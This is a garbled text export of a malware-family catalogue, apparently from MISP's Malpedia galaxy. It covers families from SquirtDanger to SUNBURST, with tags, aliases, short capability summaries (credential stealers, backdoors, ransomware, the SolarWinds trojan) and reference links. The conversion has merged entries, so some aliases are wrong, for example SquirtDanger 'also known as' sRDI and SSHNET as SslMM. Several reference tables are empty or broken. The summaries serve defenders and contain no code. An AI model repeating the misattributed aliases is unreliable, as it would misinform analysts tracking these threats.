According to PaloAlto, SquirtDanger is a commodity botnet malware family that comes equipped with a number of characteristics and capabilities. The malware is written in C# (C Sharp) and has multiple layers of embedded code. Once run on the system, it will persist via a scheduled task that is set to run every minute. SquirtDanger uses raw TCP connections to a remote command and control (C2) server for network communications.

The tag is: *misp-galaxy:malpedia="SquirtDanger"*

SquirtDanger is also known as:
sRDI

sRDI allows for the conversion of DLL files to position independent shellcode. It attempts to be a fully functional PE loader supporting proper section permissions, TLS callbacks, and sanity checks. It can be thought of as a shellcode PE loader strapped to a packed DLL.

The tag is: misp-galaxy:malpedia="sRDI"

sRDI is also known as:

- DAVESHELL

SSHNET

The tag is: misp-galaxy:malpedia="SSHNET"

SSHNET is also known as:
**SslMM**

The tag is: *misp-galaxy:malpedia="SslMM"*

SslMM is also known as:

Table 4192. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm">https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/69953/the-naikon-apt/">https://securelist.com/analysis/publications/69953/the-naikon-apt/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

**Stabuniq**

The tag is: *misp-galaxy:malpedia="Stabuniq"*

Stabuniq is also known as:

Table 4193. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq">https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html">http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers">https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers</a></td>
</tr>
</tbody>
</table>

**StalinLocker**

The tag is: *misp-galaxy:malpedia="StalinLocker"*

StalinLocker is also known as:

- StalinScreamer

Table 4194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stalin_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.stalin_locker</a></td>
</tr>
</tbody>
</table>

**Stampedo**

The tag is: *misp-galaxy:malpedia="Stampedo"*
Stampedo is also known as:

Table 4195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo">https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo</a></td>
</tr>
</tbody>
</table>

**StarCruft**

The tag is: `misp-galaxy:malpedia="StarCruft"`

StarCruft is also known as:

Table 4196. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft">https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-daybreak/75100/">https://securelist.com/operation-daybreak/75100/</a></td>
</tr>
</tbody>
</table>

**StarLoader**

The tag is: `misp-galaxy:malpedia="StarLoader"`

StarLoader is also known as:

Table 4197. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader</a></td>
</tr>
</tbody>
</table>

**StarsyPound**

The tag is: `misp-galaxy:malpedia="StarsyPound"`

StarsyPound is also known as:

Table 4198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound">https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound</a></td>
</tr>
</tbody>
</table>
**StartPage**

Potentially unwanted program that changes the startpage of browsers to induce ad impressions.

The tag is: *misp-galaxy:malpedia="StartPage"*

StartPage is also known as:

- Easy Television Access Now

*Table 4199. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage">https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage</a></td>
</tr>
</tbody>
</table>

**STASHLOG**

Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.

The tag is: *misp-galaxy:malpedia="STASHLOG"*

STASHLOG is also known as:

*Table 4200. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog">https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive">https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1433819369784610828">https://twitter.com/ESETresearch/status/1433819369784610828</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques">https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques</a></td>
</tr>
</tbody>
</table>

**StealBit**

This is a stealer used by LockBit 2.0.

The tag is: *misp-galaxy:malpedia="StealBit"*

StealBit is also known as:

- Corrempa

*Table 4201. Table References*
Stealc

Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.

Stealc is written in C and uses WinAPI functions. It mainly targets data from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.

The tag is: *misp-galaxy:malpedia="Stealc"*

Stealc is also known as:

*Table 4202. Table References*
**Stealerium**

According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor's addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.

The tag is: `misp-galaxy:malpedia="Stealerium"`

Stealerium is also known as:

*Table 4203. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium">https://malpedia.caad.fkie.fraunhofer.de/details/win.stealerium</a></td>
</tr>
<tr>
<td><a href="https://resources.securityscorecard.com/research/stealerium-detailed-analysis">https://resources.securityscorecard.com/research/stealerium-detailed-analysis</a></td>
</tr>
<tr>
<td><a href="https://github.com/Stealerium/Stealerium">https://github.com/Stealerium/Stealerium</a></td>
</tr>
</tbody>
</table>

**Stealer0x3401**

According to PTSecurity, this stealer harvests system information which is then RC4 encrypted and Base64 encoded before sending it to the C2 server.

The tag is: `misp-galaxy:malpedia="Stealer0x3401"`

Stealer0x3401 is also known as:

*Table 4204. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401">https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401</a></td>
</tr>
</tbody>
</table>

**StealthWorker Go**

According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target's backend. Hacker's commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the
target’s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.

The tag is: misp-galaxy:malpedia="StealthWorker Go"

StealthWorker Go is also known as:

Table 4205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker">https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker</a></td>
</tr>
</tbody>
</table>

**Stealth Soldier**

Check Point Research observed a wave of highly-targeted espionage attacks in Libya that utilize a new custom modular backdoor. Stealth Soldier malware is an undocumented backdoor that primarily operates surveillance functions such as file exfiltration, screen and microphone recording, keystroke logging and stealing browser information.

The tag is: misp-galaxy:malpedia="Stealth Soldier"

Stealth Soldier is also known as:

Table 4206. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealth_soldier">https://malpedia.caad.fkie.fraunhofer.de/details/win.stealth_soldier</a></td>
</tr>
</tbody>
</table>

**SteamHide**

Malware written in .NET that hides in Steam profile pictures. Tries to evade virtualization through detection if it is executed within VMWare or VirtualBox.

The tag is: misp-galaxy:malpedia="SteamHide"

SteamHide is also known as:

Table 4207. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.steamhide">https://malpedia.caad.fkie.fraunhofer.de/details/win.steamhide</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2021/06/36861-malware-hides-in-steam-profile-images">https://www.gdatasoftware.com/blog/2021/06/36861-malware-hides-in-steam-profile-images</a></td>
</tr>
</tbody>
</table>
StegoLoader

The tag is: misp-galaxy:malpedia="StegoLoader"

StegoLoader is also known as:

Table 4208. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer">https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer</a></td>
</tr>
</tbody>
</table>

Stinger

The tag is: misp-galaxy:malpedia="Stinger"

Stinger is also known as:

Table 4209. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger">https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger</a></td>
</tr>
</tbody>
</table>

StoneDrill

The tag is: misp-galaxy:malpedia="StoneDrill"

StoneDrill is also known as:

Table 4210. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill">https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill</a></td>
</tr>
</tbody>
</table>
STOP

STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file’s name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.

The tag is: misp-galaxy:malpedia="STOP"

STOP is also known as:

- Djvu
- KeyPass

Table 4211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stop">https://malpedia.caad.fkie.fraunhofer.de/details/win.stop</a></td>
</tr>
<tr>
<td><a href="https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b">https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view">https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view</a></td>
</tr>
<tr>
<td><a href="https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/">https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/keypass-ransomware/87412/">https://securelist.com/keypass-ransomware/87412/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/privateloader-malware">https://intel471.com/blog/privateloader-malware</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2022/01/malware-vaccines">https://www.gdatasoftware.com/blog/2022/01/malware-vaccines</a></td>
</tr>
<tr>
<td><a href="https://angle.ankura.com/post/102het9/the-stop-ransomware-variant">https://angle.ankura.com/post/102het9/the-stop-ransomware-variant</a></td>
</tr>
<tr>
<td><a href="https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore">https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore</a></td>
</tr>
<tr>
<td><a href="https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a">https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a</a></td>
</tr>
</tbody>
</table>
Stormwind

The tag is: `misp-galaxy:malpedia="Stormwind"`

Stormwind is also known as:

Table 4212. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind">https://malpedia.caad.fkie.fraunhofer.de/details/win.stormwind</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/">https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/</a></td>
</tr>
</tbody>
</table>

STOWAWAY

According to Mandiant, STOWAWAY is a publicly available backdoor and proxy. The project supports several types of communication like SSH, socks5. Backdoor component supports upload and download of files, remote shell and basic information gathering.

The tag is: `misp-galaxy:malpedia="STOWAWAY"`

STOWAWAY is also known as:

Table 4213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway">https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway</a></td>
</tr>
<tr>
<td><a href="https://blog.exatrack.com/melofee/">https://blog.exatrack.com/melofee/</a></td>
</tr>
<tr>
<td><a href="https://github.com/ph4ntonn/Stowaway">https://github.com/ph4ntonn/Stowaway</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government">https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government</a></td>
</tr>
</tbody>
</table>

Stration

The tag is: `misp-galaxy:malpedia="Stration"`

Stration is also known as:

Table 4214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stration">https://malpedia.caad.fkie.fraunhofer.de/details/win.stration</a></td>
</tr>
</tbody>
</table>
STRATOFEAR

The tag is: misp-galaxy:malpedia="STRATOFEAR"

STRATOFEAR is also known as:

Table 4215. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1] <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stratofear">https://malpedia.caad.fkie.fraunhofer.de/details/win.stratofear</a></td>
</tr>
</tbody>
</table>

StrelaStealer

According to PCRisk, StrelaStealer seeks to extract email account log-in credentials. At the time of writing, this program targets Microsoft Outlook and Mozilla Thunderbird email clients.

Following successful infiltration, StrelaStealer searches for "logins.json" (account/password) and "key4.db" (password database) within the "%APPDATA%\Thunderbird\Profiles" directory - by doing so, it can acquire the credentials for Thunderbird.

Alternatively, if Outlook credentials are targeted - StrelaStealer seeks out the Windows Registry from where it can retrieve the program's key and "IMAP User", "IMAP Server", as well as the "IMAP Password" values. Since the latter is kept in an encrypted form, the malicious program employs the Windows CryptUnprotectData feature to decrypt it prior to exfiltration.

The tag is: misp-galaxy:malpedia="StrelaStealer"

StrelaStealer is also known as:

Table 4216. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[2] <a href="https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc">https://medium.com/@DCSO_CyTec/shortandmalicious-strelastealer-aims-for-mail-credentials-a4c3e78c8abc</a></td>
</tr>
<tr>
<td>[3] <a href="https://research.openanalysis.net/strelastealer/stealer/2023/05/07/streala.html">https://research.openanalysis.net/strelastealer/stealer/2023/05/07/streala.html</a></td>
</tr>
</tbody>
</table>

Stresspaint

The tag is: misp-galaxy:malpedia="Stresspaint"

Stresspaint is also known as:

Table 4217. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

StrifeWater RAT

The tag is: *misp-galaxy:malpedia=*"StrifeWater RAT"

StrifeWater RAT is also known as:

*Table 4218. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff">https://www.secureworks.com/blog/abrahams-ax-likely-linked-to-moses-staff</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard">https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard</a></td>
</tr>
</tbody>
</table>

StrikeSuit Gift

The tag is: *misp-galaxy:malpedia=*"StrikeSuit Gift"

StrikeSuit Gift is also known as:

*Table 4219. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift">https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift</a></td>
</tr>
</tbody>
</table>

StrongPity

According to Mitre, StrongPity is an information stealing malware used by PROMETHIUM.

The tag is: *misp-galaxy:malpedia=*"StrongPity"
StrongPity is also known as:

Table 4220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity">https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity</a></td>
</tr>
<tr>
<td><a href="https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity">https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity</a></td>
</tr>
<tr>
<td><a href="https://0xthreatintelligence.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4">https://0xthreatintelligence.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/physicaldrive0/status/786293008278970368">https://twitter.com/physicaldrive0/status/786293008278970368</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/">https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/</a></td>
</tr>
<tr>
<td><a href="https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara">https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEbg">https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEbg</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA">https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA</a></td>
</tr>
</tbody>
</table>

**Stuxnet**

The tag is: `misp-galaxy:malpedia="Stuxnet"`

Stuxnet is also known as:

Table 4221. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet">https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet</a></td>
</tr>
</tbody>
</table>
https://web.archive.org/web/20230416140914if_/http://www.chinaview.cn/20230411/4e0fa0f4fd1d408aaddeef8be63a4757_20230411161526_0531.pdf
https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet
https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147
https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001
http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html

Subzero

The tag is: *misp-galaxy:malpedia*="Subzero"

Subzero is also known as:

- Corelump
- Jumplump

*Table 4222. Table References*

**Links**

https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero
SUCEFUL

The tag is: `misp-galaxy:malpedia="SUCEFUL"

SUCEFUL is also known as:

Table 4223. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.suceful">https://malpedia.caad.fkie.fraunhofer.de/details/win.suceful</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html">https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html</a></td>
</tr>
</tbody>
</table>

Sugar

Ransomware, written in Delphi.

The tag is: `misp-galaxy:malpedia="Sugar"

Sugar is also known as:

Table 4224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar">https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb">https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49">https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49</a></td>
</tr>
</tbody>
</table>

SUGARDUMP

According to Mandiant, SUGARDUMP is a credential harvesting utility, capable of password collection from Chromium-based browsers. There are also versions to exfiltrate data via SMTP and HTTP.

The tag is: `misp-galaxy:malpedia="SUGARDUMP"

SUGARDUMP is also known as:

Table 4225. Table References
SUGARRUSH

According to Mandiant, SUGARRUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.

The tag is: misp-galaxy:malpedia="SUGARRUSH"

SUGARRUSH is also known as:

Table 4226. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarrush">https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarrush</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping">https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping</a></td>
</tr>
</tbody>
</table>

SUNBURST

FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanized updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.

The tag is: misp-galaxy:malpedia="SUNBURST"

SUNBURST is also known as:

• Solorigate

Table 4227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst">https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack">https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1338382939835478016">https://twitter.com/ItsReallyNick/status/1338382939835478016</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs">https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/webcasts/contrarian-view-solarwinds-119515">https://www.sans.org/webcasts/contrarian-view-solarwinds-119515</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth">https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth</a></td>
</tr>
<tr>
<td><a href="https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst">https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cybercdh/status/1338885244246765569">https://twitter.com/cybercdh/status/1338885244246765569</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/megabeets_status/133930880112027138">https://twitter.com/megabeets_status/133930880112027138</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/olafhartong/71ffdd4cab4b6acd5cbcd1a0691ff82f">https://gist.github.com/olafhartong/71ffdd4cab4b6acd5cbcd1a0691ff82f</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/KimZetter/status/1338305089597964290">https://twitter.com/KimZetter/status/1338305089597964290</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/FireEye/status/1339295983583244302">https://twitter.com/FireEye/status/1339295983583244302</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=JoMwrkijTZ8">https://www.youtube.com/watch?v=JoMwrkijTZ8</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-077a">https://us-cert.cisa.gov/ncas/alerts/aa21-077a</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/9a515637">https://community.riskiq.com/article/9a515637</a></td>
</tr>
<tr>
<td>Link</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://pastebin.com/6EDgCKxd">https://pastebin.com/6EDgCKxd</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpqvQI/view">https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpqvQI/view</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/">https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/</a></td>
</tr>
<tr>
<td><a href="https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/">https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/</a></td>
</tr>
<tr>
<td><a href="https://www.4hou.com/posts/KzZR">https://www.4hou.com/posts/KzZR</a></td>
</tr>
<tr>
<td><a href="https://www.prevasio.io/blog/sunburst-backdoor-part-ii-dga-the-list-of-victims">https://www.prevasio.io/blog/sunburst-backdoor-part-ii-dga-the-list-of-victims</a></td>
</tr>
<tr>
<td><a href="https://r136a1.info/2022/06/18/using-dotnetfile-to-get-a-sunburst-timeline-for-intelligence-gathering/">https://r136a1.info/2022/06/18/using-dotnetfile-to-get-a-sunburst-timeline-for-intelligence-gathering/</a></td>
</tr>
<tr>
<td><a href="https://github.com/cisagov/CHIRP">https://github.com/cisagov/CHIRP</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cybercdh/status/1338975171093336067">https://twitter.com/cybercdh/status/1338975171093336067</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=mbGN1xqy1jY">https://www.youtube.com/watch?v=mbGN1xqy1jY</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/">https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack">https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack</a></td>
</tr>
<tr>
